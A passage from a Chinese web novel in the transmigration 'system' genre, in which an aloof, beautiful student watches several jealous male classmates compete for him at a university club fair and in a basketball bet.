多可悲啊,被自己的感情蒙蔽了双眼,看不清这个高高在上的人,哪有所谓的真心啊。像这种定力不足又容易破防的蠢货注定只会成为垃圾,从朗月现的世界中被毫不留情的抛弃。 也会有人因此而破防,将满腔真诚深沉的爱意倾泄成刻骨铭心的恨意,万念俱灰,撕心裂肺的指责他只会糟践别人的真心,永远也学不会爱人。 朗月现闻言只轻声一笑,别人来爱他都爱不够,他需要学什么? 什么爱不爱的,多恶心。 他不需要那些没有用处,虚无缥缈的真心,不需要的东西对他来说都是垃圾,没有人会因为丢了垃圾而觉得可惜。 投入情感是一件很麻烦的事情,不管别人在他面前有多么绝望痛苦,悲痛欲绝,他依旧不会将这些人奉为圭臬的真心当一回事。 至于那些胆敢跑到他面前歇斯底里的人……朗月现仔细回想一下,确实没有什么印象了。似乎每次在当面大闹一场过后就再也不会出现在他的面前,估计又是朗秉白做的吧,他也懒得去管。 心长在别人身上,他朗月现再厉害,还能管得住他们对自己那铺天盖地的汹涌爱意吗? 他从来都对旁人的态度毫不在意,这些路人想看就看,想爱就爱,想恨就恨,他早就不当回事了。 不过令人欣慰的是,朗月现清楚的知道,小说世界中的这些天之骄子主角攻们是绝对不会爱上自己的。 他们只会遵从世界意志的摆布,将自己纯洁的爱意完整干净,毫无保留的奉献给他们这一生中唯一会爱上的主角受身上。 即使要同其他人共同分享一个爱人,在这个世界意志的掌控下,他们也必须甘之如饴。 真是可笑的被操控的一生,朗月现转头看向程澈,心想这个人也是他们中的一员,看着这么听话,脾气也好,天生就有当狗的潜质。 这几个所谓的主角,未来的一生都将会在眼巴巴的渴求着高贵的世界之子能从手指缝里漏出那么丁点的爱中度过,像一群鬣狗一样,每个人都试图占据最佳位置,抢夺最多的爱意,是一群就算挣破头也要不断向前争抢扑食的蠢货。 程澈被那嘲弄的目光看得整个人都不自在起来,他垂下头检查了一下穿着,虽然都是廉价货,但是干干净净的并没有出糗的地方。 程澈还在诚惶诚恐的检查自己,朗月现早就不知道出神到哪里去了:“他们那np小说一共有几个攻来着……” “算了无所谓,不重要。” 朗月现想起盛衍那张波澜不惊温文尔雅的假面在不久的将来会被一群饿犬一样的男人撕的稀碎,他就忍不住扬起一个幸灾乐祸的笑容。 —— 一上午就一节课,还不到11点就下课了,朗月现百无聊赖的伸了个懒腰,昨晚没睡好,他准备回宿舍补一觉。 刚起身,有一个栗色卷毛,个子不高,长得很是显小的男孩拦在了他们面前。 朗月现和程澈顿住了脚步,程澈认出这是昨晚最后等在教室发书的那个同学,他刚想打招呼道谢,男孩就磕磕巴巴抢先开口了。 “同学,你,你没事吧,伤都处理了吗……” 话是冲着程澈问的没错,但那双眼睛却死死盯在朗月现身上,分毫不肯移动。 程澈:“……” 朗月现眉尾一扬,稍稍弯腰同那人对视,语气玩味的打趣道:“问谁?” 距离堪堪一凑近,那股让人神志不清头脑发晕的香味更清晰的弥漫过来,好美丽的人啊…… 梁继微被迷的头晕眼花,鼻腔一热。 程澈看着那人被迷的神魂颠倒,一副只顾着眼巴巴盯着朗月现看的痴呆样,心中隐隐有些不爽烦躁,他不愿再看,扭过头却发现整间教室满满当当都是人。 仔细一看,那些下了课便自觉站起来准备离开的同学们,全在磨磨叽叽佯装收拾东西,本子拿起放下,一个个或直视或余光暗戳戳都在瞥向朗月现的位置。 下课好几分钟了,一个离开教室的都没有,整个场面太荒谬了。 这些贪婪地盯在朗月现身上的目光使程澈心中无比烦闷,他只想将那正挡着路的碍事身影从朗月现面前撕开,他蹙着眉,带着一股无法掩饰的焦躁,语气生硬道:“不好意思同学,我们要回去了,可以让一下吗?” 下一秒梁继微的鼻血不受控的在两人面前流了下来。 梁继微着急忙慌的拿着手背去擦,整个人面红耳赤,脖颈都通红一片,羞赧又觉得丢脸,垂下头不敢再看。 朗月现被逗笑了,梁继微个头不高,长得显小又乖,有些让他幻视成脑海中的那个小东西,不由得便多了几 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程澈觉得朗月现对自己就是有些不一样的,他在脑海中一条条细数,他会对着自己笑,允许自己待在身边,主动邀请两个人一起去吃饭,甚至还会关心自己的伤势。 即使被注视着的眼神依旧没什么温度,程澈还是觉得自己是有那么一点特殊的。 程澈自觉自己没有那么贪心,他求的不是朗月现对他有多么重视,多么另眼相待,他要的是他在面对自己时有一点点同旁人不一样的特殊,那就完全足够了。 他想要那一点点特殊。 朗月现突然被拉住手仔仔细细的擦拭,眉宇间透着轻微的困惑和不耐烦,他试着抽手,却没有抽动,程澈握着他手的力度不大,却扣的很紧,轻易挣脱不开,朗月现一挑眉,声音里透着隐隐的不悦:“做什么?” 却在那双抬起的圆滚滚的狗狗眼中看到了满眼的委屈。 程澈轻声说道:“阿月,以后不要摸外面的狗,很脏的。” 他把朗月现的手举起来放在自己头发上:“摸我吧,阿月。” 朗月现:“……” 说实在的,自从程澈能一言不合就在他面前跪下说话,这个表面看着乖顺的家伙,再做出什么让人满心不解的奇怪行为,朗月现都不觉得奇怪了。 朗月现抽回手,逗弄般不轻不重的在他脸上扇了两巴掌,语气戏谑道:“你又哪里干净了?” 被打了两巴掌之后这家伙眼睛竟然更亮起来,程澈一改刚刚垂头丧气,闷闷不乐的丧家犬模样,眼神热切,语气欢快道:“不一样!我和外面那些脏东西都不一样,我是……” 我是独属于你的。 话还没说完,便被不远处向这边走过来,脑袋凑在一起激动地说小话的同学们打断了。 几人看起来很是兴奋,叽叽喳喳讨论着,似乎是新学期新生入学,社团招新正在操场上举行着。朗月现丝毫不感兴趣,转身就要走。 系统却在这时突然冒出来,在朗月现的脑海中晃荡着小胖脚丫:“宿主,你不去看看吗,宝还没见过大学社团呢,都是干嘛的呀,好玩不?” 朗月现不想理它,随口敷衍道:“去网上搜。” “……宿主你怎么这样啊,难为宝这么爱你,对你有求必应,还用自己压箱底的积分满足宿主的愿望,你不知道宝在那个抠门的主系统手里攒这点破积分花了多大力气!” “宝就这么一个小小的心愿,宿主都不愿意帮宝实现呜呜呜呜宝只觉得统生也就这样了,遇到这么冷漠无情的宿主,宝还能怎么办呢,只能嫁鸡随鸡嫁狗随狗,浑浑噩噩过完这苦命的统生……” 程澈亦步亦趋乖乖得跟在朗月现身后,却见他往宿舍走的脚步突然硬生生停下。 程澈正不解的歪着脑袋想看看朗月现怎么了,就看见他黑着一张脸,表情非常不爽,声音颇有点咬牙切齿的怒意:“……去操场。” 18、第十八章 c大篮球馆内。 韩维年探个头进来望了望,一边往里走一边四处环顾:“你别说,新球馆就是帅啊。” 训练刚刚结束,空气中还弥漫着汗水与木质地板混合的气息,周闻铮坐在场边的长椅上,背靠着墙壁,闻声懒懒的瞥了一眼,看清来人后又转了回去。 周闻铮当时回国来c大办入学手续是韩维年接待的,韩维年性格开朗,人机灵话多还不烦人,对各种人的包容性都很强,面对周闻铮这种用鼻孔看人的凶悍酷哥也相性极好。 两个人性格相投,也聊得来,互相了解过后,发现都是首都本地人,父母之间还因为生意往来相识,自然而然关系变熟稔起来。 韩维年家境很是殷实,身上却没有纨绔子弟那种跋扈作风,性格好还会来事,比周闻铮大两岁,早入学一年,也是走的国际合作,现在是c大的国际交流部副部长,学生会主要干事。 韩维年走过来坐在周闻铮旁边,看了看被练得满场地瘫坐着的队员,笑着拧开一瓶水递过去:“你这也练得太狠了,周队。” 周闻铮接过仰头灌了一口,水珠顺着下巴滑落,滴在同样湿透的球衣上,淡声说:“是他们以前日子过的太好了。” 韩维年劝道:“慢慢来嘛,你不能直接用你在ncaa的训练量去对付他们,得有个过程吧。” 周闻铮瞥了他一眼:“这训练力度还不到我当时的五分之一。” “……”韩维年干笑一声,冲拼命给他递眼色的队员遥遥举了下水瓶,意思是爱莫能助,受着吧。 那个递眼色的队员恨其不争的呲了呲牙,就见周闻铮的目光懒懒的扫了过来,瞬间摆正表情,立正站好,还敬了个礼。韩维年哈哈大笑,招手示意他过来。 何子墨迈着长腿几步走过来,直接坐在周闻铮脚边的地板上,拿着护腕抹了抹额头的汗,双腿伸直,接过韩维年递过来的水,笑出一颗阳光灿烂的小虎牙:“谢谢韩哥!” 韩维年问道:“今天怎么看着人这么少?” 何子墨:“韩哥你忘了,今天是社团招新,楚队……呃,楚副队带着不少队员都去操场招新了。” 韩维年:“哦,怪不得。” “韩哥你不用去帮忙吗?每年这种大场面,学生会不得出人维持秩序吗?” 韩维年还没说话,周闻铮先用水瓶敲了一下何子墨的后脑勺:“说什么呢,你韩哥是学生会干事,这种鸡毛蒜皮的小事能麻烦他亲自上阵吗。” 何子墨吐着舌头赶紧连声称是,韩维年笑骂道:“去你的。” 另外的场边角落,几个队员围成一圈,凑着头不知道在看什么,突然一声惊呼,有人拿着手机直接站了起来。 “干嘛呢这是?”何子墨看过去,扬声喊着其中一个队员的名字:“候予,怎么了?” 被叫到的高个子男生冲他挥了挥手机,脸上不知是热得还是怎么,通红一片:“你快看手机,我给你发链接。” 何子墨小声嘟囔着“神神秘秘”一边打开了手机,另一边韩维年也打开了手机,发现自己的置顶学生会总群正在不停闪消息。 周闻铮毫不关心的继续闭目养神,就听见旁边韩维年小声念道:“什么大美人不上镜,本人还要好看一百倍……说什么呢这是……” 周闻铮眼睛一下就睁开了。 韩维年还没从群里不断刷新的消息里整理出来重点,手机就被旁边的人一把夺过去了。 韩维年顶着一脑门子问号看着紧蹙眉头,表情严肃,快速翻看自己群消息的周闻铮:“你礼貌吗?” 周闻铮理都没理他,一把扯下颈间的毛巾攥在手里,把手机扔还给韩维年,起身就往更衣室走。 韩维年看他这幅火急火燎的模样,以为出啥大事了,急忙问道:“哎!你干嘛去?” 周闻铮头也不回的扔下两个字:“招新。” ---- 梧桐树的影子在水泥地上碎成光斑,正午的阳光热烈地在脊背上蒸出一层薄汗。离得还很远就能感受到空气里飘着吉他弦音和现磨咖啡的香气,前方忽然炸开一阵欢呼——街舞社的红发学姐单手撑地来了个风车旋转,发梢扫过的地方,鼓点像是要震碎九月燥热的阳光。 吃人嘴短拿人手软的朗月现和程澈站在了社团招新的边缘入口。 “哇!”系统兴奋的乱蹦:“好多人啊” 是啊,人也太多了吧,乌压压的全是人。除了花样百出的招新社员,就是热情度爆棚,看到什么都十分激动,各处吵吵嚷嚷没见过世面的大一新生,朗月现几乎是用尽全身力气控制自己不扭头就走。 c大的社团文化是非常出名的,学校很注重学生的课余兴趣发展,希望学生们能在各领域百花齐放,每年会投入大量的资金给予学生参与社团建设。 c大是出了名的有钱,并且舍得投入各项学校建设,其中艺术和体育分类更甚,c大对其非常重视,每年招收的特长生名额是国内顶尖大学中最多的。培养出的人才质量之盛,数量之多在各行业中也是佼佼者。 所以c大每年的新学期社团招新会举办的非常隆重,哪家社团能吸引更多新生加入,就能获得更多的建设资金。除了开学前就开始吸引新的学弟学妹加入社团,以方便开学后安排晚会表演的各类音乐舞蹈社团,可能相对不会耗费这么大的力气,其余社团为了招新,可以算得上是各拿出各的看家本领,让人眼花缭乱。 c大某学生会置顶总群 「东边展位这边咋没人了,人都上哪去了?都去烘焙社吃饼干去了啊?」 「我这边人也跑了,好像是往外围那边去了」 「那要是你们都去了,能不能给我捎点小饼干回来,有点饿了,我在北3号位动漫社这边,谢谢义父们」 「我靠,啥啊,是“那位”出现了!」 「快,就在入口处不远,我看到了!【视频】」 「我就在这边,是不是太阳太大了被晒的啊,我咋有点恍惚……」 「这谁能不恍惚,感觉他站在我面前骂我一句我都要先傻笑一下才能听清楚他说的什么」 「不是,你们外围的再多拍点视频过来啊,我们又走不开!」 「视频不行啊,大美人不上镜,本人还要好看一百倍,不骗人!」 「晕过去了我真的,你们看见本人就知道了」 「我真的发出了“居然真的会有这样的人”得惊呼,旁边那哥们还给我竖大拇指呢」 「你们谁能来管管我,我现在一定笑得很变态」 「算了吧,我如果和你离得一样近,我只能比你更变态」 …… “……朗同学,程澈?” 一道有些耳熟的怯弱声音传来,两个人望过去,宋煜穿着工作马甲,拿着一沓宣传单,脸被太阳晒的微红,似乎已经在这待了很长时间了。 早上没课,宋煜便被班长安排来给油画社团帮忙,社团招新工作很繁琐,需要布置场地,搬运东西,安排登记,他来的比那些需要上早课的同学还早,因为长相清秀乖巧,被安排到最前方的社团外围发传单。 宋煜站了一早上,热的头晕眼花,也不知道现在是什么时候了,他机械得递出传单,却发现周围的人三两成群的凑在一起,不知道在谈论什么,目光似乎都热切得在往同一个地方聚集。 宋煜随着那些雀跃的目光向中心看去,麻木恍惚的头脑浑然一惊,那个他心心念念,辗转反侧,看到就止不住心跳加速的少年,正抱着胸,神色不悦的站在不远的操场入口处。 朗月现太白了,白的很健康,站在那非常显眼,阳光似乎都格外偏爱他,洒在他的身上都显得更加灿烂,晒得他各处都透着粉。他微微蹙眉,眼神中透着一丝不耐与冷冽,透出几分疏离感。他的唇角紧抿,下颌线条紧绷,散发着一种不容靠近的气场。 但这么漂亮的一个人,即便神色不悦,他的存在依然让人无法移开视线,在场目之所及能看见朗月现的所有人几乎都在看他,却又不敢轻易上前打扰。 宋煜眼光游疑不定的在两人面上扫过:“朗同学怎么会和程澈在一起?” 程澈回道:“我和阿月是一个专业的,都是金融系的。” “……阿月?”宋煜下意识重复了一遍。 “……已经可以这么称呼了吗?” 宋煜低喃了一句,接着抬眼看了程澈一眼,虽然很快就移开了目光,但程澈还是在那眼神中看到了掩饰不住的不满和怨怼。 程澈被那晦涩的一眼看的莫名其妙。 他说话轻声细语,几乎要淹没在现场的人潮声中:“那还真是很巧。” 程澈没听清,微微皱着眉又看了他一眼。 宋煜语气含糊,语焉不详的又低声问道:“那你们现在是一起参加招新吗?” “嗯,我陪阿月。”程澈似乎又想起来什么,解释道:“之前忘了告诉你,我们还是舍友,一会儿一起回去比较方便。” 宋煜脸色突然更不好看起来,他敷衍的点了点头,收了声不再说话了。 朗月现在宋煜刚刚出声叫他们时淡淡看了他一眼,就再也没往那边分过一丝目光,他正被脑海中蹦个不停的系统吵的心累:“宿主宿主,你快进去呀,我想看那个大长筒!” 朗月现抬眼看了看斜角处的望远镜,头疼的捏了捏眉心,认命的向操场里面走去。 程澈下意识抬起脚紧紧跟上,急切地都没记起来再同宋煜打声招呼。 宋煜看着两人的背影,站在原地一动不动。直到有同学拍他,他才骤然回神,指尖传来一阵麻痒,他低头才发现,自己把手中的传单几乎捏成了一团扭曲的废纸。 19、第十九章 朗月现穿过人群,走到天文社团前面,他站在望远镜前停住脚步,在脑海中淡声道:“看吧,你的大长筒。” 系统托着腮嘟着嘴:“不好玩,又不是晚上看不了星星,换一个换一个。” “同……同学对天文感兴趣吗?”一位戴圆框眼镜的学长终于做好思想建设,在其他社员的催促下硬着头皮上前搭话,他指着架设好的折射式天文镜,声音和手指没有一个不打颤的:“同学要是喜欢看星星,以后观测设备你可以永久优先使用......” 系统正连声嚷着不感兴趣,朗月现垂头捏了捏眉心:“不用了,谢谢。”便转身离开。 走出几步还能听到天文社学长大喊:“不加入社团你也可以永远优先使用!欢迎你来天文社看星星,要记得来啊……” 随后便被自己社员们的大拇指和周围其他社社员的连声不齿给包围了。 烘焙社的曲奇香气混着现磨咖啡的浓苦味道飘过来,朗月现路过多看了一眼,手里就被塞进了四袋各款饼干和一杯现磨咖啡。 他面露难色的看着怀里的东西,转身想塞给程澈让他拿着。 结果就看见一只因为跟在朗月现身后,被连带着同样也塞了满满一怀零食,呲着小狗牙摇着尾巴,笑得阳光灿烂的大金毛 朗月现无奈的又把头扭回来了:“……” 一声清脆的哨响划破人群中的喧嚣,不远处的篮球社的展台前,几个穿着球衣的学长正在进行花式运球表演。 篮球社团和c大体育系篮球专业校队并不属于一个组织,但是重叠率很高,校队重点培养选手基本都会在社团担任一些职位。 篮球专业一直是c大比较重视的体育项目,这些年为国家队输送了很多优秀人才,如今国家队有两位现役选手都是从c大选拔出来的。 所以篮球社团招新搞的非常隆重,占地很大,甚至特地运过来一个球板。 橙色的篮球在社员的指尖旋转,一个额上戴着发带的男生突然跃起,在空中完成360度转身扣篮,球网带着球板发出"哐"的一声巨响,引来一片惊叹。 朗月现也将目光投了过去,那边也很明显在关注着他,倒不如说刚刚的炫技就是为了引起朗月现的注意。那个戴发带的高个男生带着很阳光的笑意,冲朗月现跑了过来。 高个男生长得很亮眼,轮廓分明,鼻梁高挺,带着一种很明显的异域风情,他抱着球站定在朗月现面前,整个人周身洋溢着热火朝天的蓬勃朝气,离得近了才能看清,他的瞳孔颜色介于浅褐和灰绿之间,是个很明显的混血长相。 楚骁站在朗月现面前的一瞬间就有点发慌,他满心都是,怎么比照片上还好看,他好白啊,好漂亮,我是不是离的太近了,我身上的热气会不会冲到他,怎么会这么漂亮…… 他这辈子还没这么紧张过,偷偷攥紧了拳头,莫名开始给自己打气,眼睛都不舍得从朗月现脸上挪开:“我……我是篮球队的楚骁,那边,三分球挑战赛,投中就有奖品。” 他反手指了指后面的球板,眼神热切:“要试试吗?” 朗月现刚要开口,忽然听见非常明显"嗖"的一声破空之音。 转头望去,另一边射箭社的展台前,一位身穿黑色训练服的学姐正拉开复合弓。姿势挺拔如松,目光如炬地注视着十米外的箭靶。弓弦震动,箭矢划出一道优美的弧线,正中靶心。 郑初宜满意的看到朗月现的目光被吸引过来,“想试试吗?”她放下弓,朝朗月现微笑,“我们有专业的护具和指导老师,零基础也能很快上手。” 别说,朗月现眼睛一亮,还真被那复合弓引得提起了些兴趣,他只练过传统弓和反曲弓,复合试过几次,并不熟练,那女孩手中的弓正合适练手。 他刚准备走过去,非常耳熟的温润声音突然从身后传来。 “小月是准备试试我们射箭社吗?” 朗月现脚步一下就顿住了。 朗月现扭过头,看到盛衍依旧不改那干净利落的穿着,站在不远处,今天戴了副无框眼镜,那双凤眼中含着款款的温柔,同朗月现对视后,脸上笑容更盛,他往前走了几步,想离朗月现再近一些,朗月现意识到他的意图,刚微微蹙眉,盛衍就被突然侧过身的程澈不动声色的拦住了。 盛衍这时才真正第一次正眼看向这个一直默默跟在朗月现身边,沉默寡言的高大少年。 真碍事啊。盛衍微微垂首推了推眼镜,神色自若的掩下了眼中的轻蔑和嫌恶。 再抬起脸,依旧是那副温文尔雅的笑容,盛衍绕过几人走到射箭社位置上,自然的接过郑初宜手中的复合弓,优雅地搭上一支箭,肩膀平直,双臂标准有力的将弓弦撑至满月:“射箭不仅能锻炼身体,还能培养专注力。”他松开弓弦,箭矢“嗖”地一声射中十米外的靶心,“而且我们社有专业的教练指导,去年还拿了省赛冠军。” 楚骁眯起眼睛:“盛神,这就不厚道了吧?当着我的面挖人?” “各凭本事而已。”盛衍笑了笑,不卑不亢,“这位同学明显对射箭更感兴趣。” “他亲口告诉你的?” 朗月现的肩突然被搭上一条结实精壮的胳膊,周闻铮显然是急匆匆赶过来的,他胸膛还在不断起伏,平复气息。 周闻铮刚赶到时,几乎不用多想,直接往人流量最多的地方找去,果然在人群中心找到了他那环抱着手臂,姿态散漫,一脸淡然的心头肉。 他就这么离得远远一眼看到,还未完全看清,心脏便已经开始剧烈跳动,像是特训时精疲力尽还被加练了三千米那么快,浑身过电一般酥麻。 他对朗月现的情感早就进化成条件反射的生理性喜欢,只要看到他就想粗暴地将那活生生的人儿一股脑全部吞掉,简直爱的要命。 他不由得将胳膊又搂紧了一些,向在场的所有人展示他毫不掩饰的占有欲,眼眸中任谁都能很轻易的窥见满到溢出的爱意。 “我就晚了一步,差点让你被别人抢走了。” 朗月现微微侧头,任由他搭着自己,依旧是放松的姿态,漫不经心道:“我说要去你们那了?” “咱小时候还一起打过球呢,我记得你挺喜欢的啊。”周闻铮极力推荐,边说边用空着的那只大手稳稳接住社员丢过来的篮球,在指尖转了起来,动作娴熟流畅:“试试吧月月,咱们再一起打球。” 话音刚落,盛衍突然嗓音轻缓的在一旁从容开口:“不如我们让小月自己选吧。” 周闻铮闻言,挑起了眉,那颗张扬的眉钉在正午的阳光下闪着耀目的银光,他似笑非笑得盯着盛衍看了两秒,唇角小幅度的扯了下,笑得戾气十足:“你是什么东西,小月也是你叫的?” 周围刹时响起了此起彼伏的抽气声。 楚骁作为同篮球校队的队员,明明知道周闻铮刚入学,对学长还不熟悉,稍微站出来解释一下就可以了,此刻却动也不动,饶有兴致的站在一旁,一声不吭的作壁上观。 最后还是郑初宜过来解围,介绍说这是大二的盛衍学长,也是射箭社的社长,特别强调了盛衍还是学生会副会长,意思表示的很明确了,又是学长又是干事,让周闻铮悠着点说话。 c大校风严肃活泼,重点培养学生的各项专业技能和积极向上的精神状态。校方奉行与众不同,标新立异的管理作风,将权力下放给学生会,抬高他们的管控权,不多干预学生们的行为活动。讲究让学生自己管控自己,自己为自己负责,这种管理方式就体现出c大学生会的重要性了。 c大的学生会组织同其他学校的一般学生会不同,校方权力下放,使得学生会在c大的话语权非常重,仅次于校方董事会的管理层。所有有关学校的重大事项学生会都可以直接参与讨论,任何大型活动都由学生会统筹安排,包括学生课业方面也可以直接介入。 c大的学生们都知道,如果能加入到c大的学生会管理层,将来甚至可以写进履历,在之后的就业工作中能获得极大的优势。 盛衍作为掌握中心话语权的学生会主要干事,在管理各级学生方面的权利是很大的,甚至高于他们各班级的负责导员。郑初宜完全是好心,想让这个刚入学还不知天高地厚的毛头小子注意点言行,别给自己找麻烦。 周闻铮小时候都能因为刺头被送出国,他要是会好好听劝就有鬼了,小刺头长大后一点改进也没有,一张嘴就是王炸:“我管你是谁,以后少用你那恶心的眼神看月月。” 系统在朗月现脑海中将小说翻的震天响,语调错愕又疑惑:“这是什么情况,这俩人走的是相爱相杀,宿敌变情人的路数吗,怎么一见面这么不对付……” 盛衍和周闻铮对视一眼,周闻铮掀起眼皮,似笑非笑:"怎么?还想继续抢人?" 朗月现丝毫不关心主角攻受之间的爱恨情仇,系统此刻只顾着满脸震惊疯狂翻书的模样,看上去也像是另换了个兴趣方向。 他抬手推开周闻铮搂着自己肩膀的手,觉得已经在这里浪费太长时间了,哪个社团他都没兴趣,只想回去补个觉。 刚一动作,就听见周闻铮又说:“要不这样,咱俩比一场篮球,谁赢了,月月去谁的社团。” 这话不要脸到朗月现都颇为无语的望了过来,一个ncaa特训回来的篮球特招生跟别人打这个赌,确实有些耍流氓的成分在。 但周闻铮才不管那些,只要事关朗月现,别说耍流氓,再恶心点的事他都做得出来。 盛衍皱了皱眉,还没说话,旁边突然传来一声:“我来。” “我跟你打。” 周闻铮扭头看向程澈,不知道想到了什么,眉眼间戾气横生。他咧开嘴,呲着牙,笑得凶相毕露。 20、第二十章 系统:“……那个……” 朗月现微微勾起唇角:“想看?” 系统不好意思的挠挠头:“哎嘿嘿~” 少年插着口袋斜倚栏杆,戏谑地拖长腔调,懒洋洋道:“两条野狗打架有什么好看的?” “不过……”他偏过头,眼神悠悠的停在旁边挂着虚假浅笑的主角受身上,眉峰微动,眼尾挑起促狭的弧度:“这主角难得都在,说不准能有场好戏呢。” 系统疯狂点头,竖起大拇指:“要不说您是反派呢。” 朗月现:“……呵。” —— c大篮球馆内。 韩维年低头扯了扯自己身上的球衣,嘴角不受控的抽搐,他就是上午闲着没事过来和朋友闲扯几句聊聊天,事情怎么就突然演变成这样了? 他偏头看向一脸兴奋的何子墨,手指向对面程澈:“非得穿你这个破球衣吗?他怎么就能不穿?” 何子墨一直在用余光偷瞧场边的朗月现,闻言都没分给韩维年一个眼神,敷衍道:“哎呦这不显得咱们团结吗,韩哥你怎么一点大局意识都没有。” 韩维年:“……” 何子墨还想再嘲讽两句,就觉得一股直冲天灵盖的大力袭击了自己的脑壳,他被迫拧过脑袋同周闻铮那张邪笑着的凶脸对视:“再偷看把你眼珠子挖出来。” 何子墨不服:“你就冲我发脾气,你挖吧,你看在场有几个能幸免的,累死你!” 周闻铮一噎,这小子还敢跟他犯犟了,刚要发火,韩维年就在旁边怼了怼他,凑上来莫名其妙问道:“到底什么情况,怎么就好端端招着新突然过来打球了?” 周闻铮闻言又把目光放在对面沉着脸一言不发,做着准备活动的程澈身上,额角的青筋隐隐跳动,笑声从喉咙深处滚出,仿佛在压抑着某种暴戾的情绪。 这小子之前胆敢跪在朗月现面前摆出一副可怜兮兮的勾引姿态,他就已经非常不爽了。周闻铮也不准备一回来就惹事,容易给他老头惹急眼,本想做的隐蔽点,没想到这小绿茶竟然还敢站出来挑衅他,这可是他自己非要往他刀口上撞,那就怪不得他心狠手辣了。 楚骁拍了拍程澈的肩膀,露出一抹意味深长的笑,他几乎称得上亲切地安抚道:“没事,我会尽力帮你的,输了也不丢人,毕竟对手是那位嘛。” 程澈只是摇了摇头,没回话。 他手指不自觉的攥紧,指甲深深嵌入掌心,脑海中不断浮现那天夜里周闻铮紧紧怀抱着朗月现的画面,那种愤怒和仿佛要失去什么的恐惧,让他一旦想起,就像被无形的手扼住了喉咙,难以呼吸。 他看着朗月现没有阻止周闻铮的亲近举动,看到他和别人自然谈笑,心跳便紧张不安的如同擂鼓般急促,每一次跳动都像在胸腔里敲响警钟。 他试图压抑住内心的焦躁,可越是克制,情绪越是汹涌。心底有个声音在疯狂叫嚣:“无论如何也不能让阿月同这个人接近!”以至于周闻铮提起要朗月现加入他的社团,他没经过大脑思考便下意识站出来阻止。 即使他心里明白,朗月现并不会因为谁的话而左右自己的决定,更不会在意这可笑幼稚的赌局输赢。但是他就是没办法不做些什么。 他太无措了,急切地想抓住些什么,他必须要站出来,必须做些什么,如果不站出来阻止,那股身体里支撑着自己的精神支柱马上就要被夺走的无力感简直能将他的灵魂活活捻灭。 程澈又遥遥看了一眼场边的朗月现,眼神变得复杂而炽热,像是燃烧着一团无法熄灭的火焰。 盛衍清了场,没让太多人跟着进来看,只让负责招新的球队成员和半路上遇到,听闻是程澈朋友的宋煜一起进入球馆。 球队的队员们看着周队去而复返,还把手机里照片视频满天飞的大美人带了回来,一个个激动的眼睛都看直了。 他们第一次在现实生活中直面这种程度的大美人,体验非常新奇,一整个巨大冲击力把这些刚入大学,年纪尚小的毛头小子们几乎震晕了。 一伙人挤在一起你推我我推你的也不知道在忙些什么,叽叽咕咕的不停的偷瞄,还有人掏出手机准备偷拍。 镜头刚对准,就看见盛衍向前走了一步,将朗月现结结实实的挡住了,转头看向了镜头,嘴角微微上扬,镜片后的眼神却没有一丝温度,带着不容忽视的压迫感,冷冷扫过他们,闪过一抹无声的警告意味。 看到那些人讪讪的低下头收回手,他的眼神缓缓收回,落在朗月现的身上,眼底的冷意迅速融化,取而代之的是一抹显而易见的温柔。 朗月现百无聊赖的抱着手臂站在场边看台位等他们开场准备,身边那柔和的让人头皮发麻的声音又响了起来。 “小月真的准备答应这个赌约?” 朗月现看过去,盛衍笑着同他对视:“谁赢了就参加谁的社团?” 朗月现转过头再次看向场内,嗤笑一声,下巴微扬,模样嚣张又轻傲:“老子哪都不去,看个热闹就算给他们面子了。” 三对三打半场,一队队员侯予当裁判,周闻铮带着何子墨和只想凑个热闹没想到强行被安排上场的韩维年。程澈那边是楚骁带着另一个在队内位置是大前锋的球队成员。周闻铮没有做准备动作,大的出奇的手抓握着篮球,一下下拍在地上,满脸倨傲。 周闻铮在美国加入的ncaa是规模最大,最严格正规的体育联盟,联盟又分三个等级,而他所在的d1级别又称为nba预备役。 周闻铮每日的训练强度可以称为最严苛的地狱级别,为了选拔出具有良好体能又具备篮球技巧的完美选手,ncaa要求各个球员都要练出一身虎背蜂腰的体格,上肢抓握能力强,腰力强劲,核心力量等各方面都是一般篮球选手比不了的。 周闻铮194的身高,伸展开腰背,体格惊人的漂亮,那极强的腰腹核心配上那小子狂到不行的脸,非常来劲。 程澈虽然没有周闻铮肌肉量这么高,个头也稍逊一筹,但是他的肩很宽,高大体阔,整个人显得十分精壮,看上去竟然没有逊色多少。 其实这场篮球赛着实没有什么看点,单论篮球技巧,周闻铮几乎是碾压状态,记分牌从周闻铮开始跑起来,程澈那队的分数就再也没变过。 程澈神色不变,即使被压着打也依旧冷静沉着,精准传球,努力配合队友。楚骁却越打越急,动作逐渐凶狠,眼中透着一股气急败坏,不怀好意的冷光。 又一次快攻,周闻铮接到何子墨的传球,眨眼间迅速突破防守,准备上篮得分。就在他起跳的瞬间,楚骁突然从侧面冲了过来,动作明显超出了正常的防守范围。周闻铮的身体在空中失去了平衡,重重地摔在了地上,发出一声闷响。 “暂停!”何子墨举手时手背青筋暴起,裁判抬手给出本场第一次犯规判罚。 “你故意的!”何子墨愤怒地指着楚骁,拳头攥得紧紧的。楚骁却一脸无所谓地耸了耸肩,嘴角勾起一抹冷笑:“比赛嘛,难免有碰撞。” 韩维年想举手中断比赛,被周闻铮一把拦下,他看着楚骁,眼中闪过一丝轻蔑,嘴角缓缓扬起,露出一抹慎人的讥讽笑意。 运动竞技中的明暗交锋,对方使用明显的犯规战术试图挑衅,这种小把戏周闻铮在国外经历的太多了。 在周闻铮进入篮球队之前,楚骁一直是球队队长,能力很强,但是和周闻铮确实没法比,篮球队一向是不看资历看实力,周闻铮一入队,队长的席位就易主了。 楚骁心里对于这个空降兵一直是不服的,但是又没有足够的实力将队长的职位抢回来,球队也都知道这两人不合,但是各自还一直维持着表面的和平。 周闻铮也不是个标准合格的队长,他对球队内队员的任何负面思想全然不在意,也不会给予正向引导,有本事就把他顶下来,他随时恭候。 只要不耽误训练,这些都是无关紧要的小事,他才懒得关照某些队员婆婆妈妈的心理问题。 楚骁心里再不爽,表面也想着尽量相安无事,井水不犯河水。直到这次看到周闻铮竟然和那位看上去高高在上,矜贵又高傲,模样俊的惊人的少年自小相熟,那心中积压已久的不满的怨怼突然爆发。 他甚至都不敢和朗月现对视,生怕自己露出难堪的丑态,而周闻铮却可以随意的搂住他的肩,同他亲昵的对话。 凭什么什么好事都是你的,为什么这个世界上就是有人能轻易的获得旁人终其一生也无法触及的奢望。 他看着程澈不自量力的站出来要挑战周闻铮,心里明知道赢不了,却还是要求和程澈一队,参与进这个可笑的赌局。即使在球赛中,要用这些不堪的伤人犯规手段去挑衅恶心周闻铮,他也要出一口气。 